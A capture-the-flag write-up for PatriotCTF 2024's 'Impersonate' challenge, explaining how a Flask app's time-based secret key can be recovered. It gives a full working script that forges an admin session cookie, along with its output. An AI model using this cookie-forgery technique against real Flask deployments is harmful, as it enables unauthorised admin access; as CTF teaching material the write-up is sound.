Here's my writeup for the PatriotCTF 2024 Impersonate challenge.
Challenge notes
Impersonate 476 Medium
One may not be the one they claim to be.
http://chal.competitivecyber.club:9999/
Author: _jungbahadurrana
Files
The challenge comes with a single app.py file that you can download from this address:
https://pctf.competitivecyber.club/files/d5927c5731503b610ddc8e4410507f2b/app.py?token=…
Abbreviated contents:
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
"""Check if the username is alphanumeric and less than 20 characters."""
return username.isalnum() and len(username) < 20
@app.route('/', methods=['GET', 'POST'])
def main():
# […]
Try the app
Use a Poetry environment to start the app locally.
poetry init -n
# Install flask
poetry add flask
Make a copy of the original. The code is messy and I want to use ruff to clean it up.
cp app.py app_original.py
ruff format app.py
It helps to annotate the code with types as well to better understand it. Here's how to add mypy inside Poetry:
poetry add mypy
Then run mypy with the --strict flag:
poetry run mypy --strict app.py
Correct errors or warnings, polish the code, and understand the app. Start the app with poetry run:
poetry run python3 app.py
Cookie generation
This challenge is about forging cookies generated with an insecurely generated secret key. Here's how app.py creates its secret key based on the current time:
server_start_time = datetime.now()
server_start_str = server_start_time.strftime("%Y%m%d%H%M%S")
secure_key = hashlib.sha256(f"secret_key_{server_start_str}".encode()).hexdigest()
app.secret_key = secure_key
Try it yourself, modify the code, and print the server_start_time, server_start_str, and secure_key values by adding this at the end of the file:
if __name__ == "__main__":
print(f"server_start_time: {server_start_time}")
print(f"server_start_str: {server_start_str}")
print(f"plain: secret_key_{server_start_str}")
print(f"secure_key: {secure_key}")
app.run("0.0.0.0", port=9999)
Here's one output:
server_start_time: 2024-09-21 10:54:02.718469
server_start_str: 20240921105402
secure_key: 1b061f4449d6584925bcc96589dfaa6e8791da53e6b0771df7d3c1ca9a121c14
The application is nice enough to even tell you its current time at the /status endpoint:
curl http://127.0.0.1:9999/status
Here's what this outputs:
Server uptime: 0:00:59<br>
Server time: 2024-09-21 10:55:01
Solution
Since you know the server start time you can recreate its cookie secret signing key. There might be a millisecond offset in the uptime, so it doesn't hurt to try the uptime +/- 1 second. Here's my solution:
import hashlib
from typing import Optional
from itsdangerous import BadTimeSignature
import requests
import datetime
from flask import Flask, sessions
from requests.adapters import Retry, HTTPAdapter
import re
# Try it out locally first
# host = "127.0.0.1:9999"
host = "chal.competitivecyber.club:9999"
status_url = f"http://{host}/status"
def attempt(offset: int) -> Optional[str]:
s = requests.Session()
retries = Retry(total=5)
s.mount(
"http://",
HTTPAdapter(max_retries=retries),
)
print(f"Trying with offset {offset}")
status = s.get(status_url).text
uptime_match = re.search(
r"Server uptime: (\d+):(\d+):(\d+)",
status,
)
assert uptime_match
uptime = datetime.timedelta(
hours=int(uptime_match[1]),
minutes=int(uptime_match[2]),
seconds=int(uptime_match[3]) + offset,
)
print(f"uptime: {uptime}")
server_time_match = re.search(
r"Server time: (.+)\n", status
)
assert server_time_match
server_time = datetime.datetime.strptime(
server_time_match[1], "%Y-%m-%d %H:%M:%S"
)
print(f"server time: {server_time}")
server_start_time = server_time - uptime
print(
f"server start time: {server_start_time}"
)
server_start_str = server_start_time.strftime(
"%Y%m%d%H%M%S"
)
plain = f"secret_key_{server_start_str}"
print(f"plain: {plain}")
secure_key = hashlib.sha256(
plain.encode()
).hexdigest()
print(f"secure key: {secure_key}")
log_in = s.post(
f"http://{host}/",
data={
"username": "asd",
"password": "asd",
},
)
session = log_in.cookies["session"]
print(f"session: {session}")
# Create an ad-hoc Flask instance
app = Flask("example")
# Try with deduced secret key
app.secret_key = secure_key
# https://stackoverflow.com/a/42289001
cif = sessions.SecureCookieSessionInterface()
serializer = cif.get_signing_serializer(app)
assert serializer
try:
session_dump = serializer.loads(session)
except BadTimeSignature:
print("Nope")
# If there's a signature error, this wasn't the correct
# offset
return None
print(f"session_dump: {session_dump}")
session_dump["is_admin"] = True
session_dump["username"] = "administrator"
# if it's the correct secret key, make us a new admin cookie
new_session = serializer.dumps(session_dump)
print(f"new session: {new_session}")
s.cookies.clear()
s.cookies["session"] = new_session
# use the forged cookie to get the flag
flag = s.get(f"http://{host}/admin").text
print(f"flag: {flag}")
return flag
def main():
# Try with +1, 0, -1 seconds
for i in [0, 1, -1]:
result = attempt(i)
if result:
break
if __name__ == "__main__":
main()
Here's how the server_time.py finds the solution:
Trying with offset 0
uptime: 0:00:13
server time: 2024-09-21 03:02:54
server start time: 2024-09-21 03:02:41
plain: secret_key_20240921030241
secure key: ea6cd4f7eb4f751580ed979869d812828d80ca8ea029844d5adf1fdcdf8ab0f0
session: eyJpc19hZG1pbiI6ZmFsc2UsInVpZCI6ImY2ZWU4MzllLTY5ZWItNWYyYi04MWRlLWE4ZmQ1Zjc4NDgwMSIsInVzZXJuYW1lIjoiYXNkIn0.Zu43Xg.N54qCLL04K6h21LKLMMvCraCTe8
Nope
Trying with offset 1
uptime: 0:00:15
server time: 2024-09-21 03:02:55
server start time: 2024-09-21 03:02:40
plain: secret_key_20240921030240
secure key: 28bac7f5f8b66f57a93c19015213e913197bb79749cbf71d4a89e6dc83e3d16a
session: eyJpc19hZG1pbiI6ZmFsc2UsInVpZCI6ImY2ZWU4MzllLTY5ZWItNWYyYi04MWRlLWE4ZmQ1Zjc4NDgwMSIsInVzZXJuYW1lIjoiYXNkIn0.Zu43Xw.807qtev1LCvgeWPqVfVEhS8r1gw
session_dump: {'is_admin': False, 'uid': 'f6ee839e-69eb-5f2b-81de-a8fd5f784801', 'username': 'asd'}
new session: eyJpc19hZG1pbiI6dHJ1ZSwidWlkIjoiZjZlZTgzOWUtNjllYi01ZjJiLTgxZGUtYThmZDVmNzg0ODAxIiwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIn0.Zu43Xw.Y6Q8hgrfE2jRJvBnAMAXTKa3sew
flag: PCTF{Imp3rs0n4t10n_Iz_Sup3r_Ezz}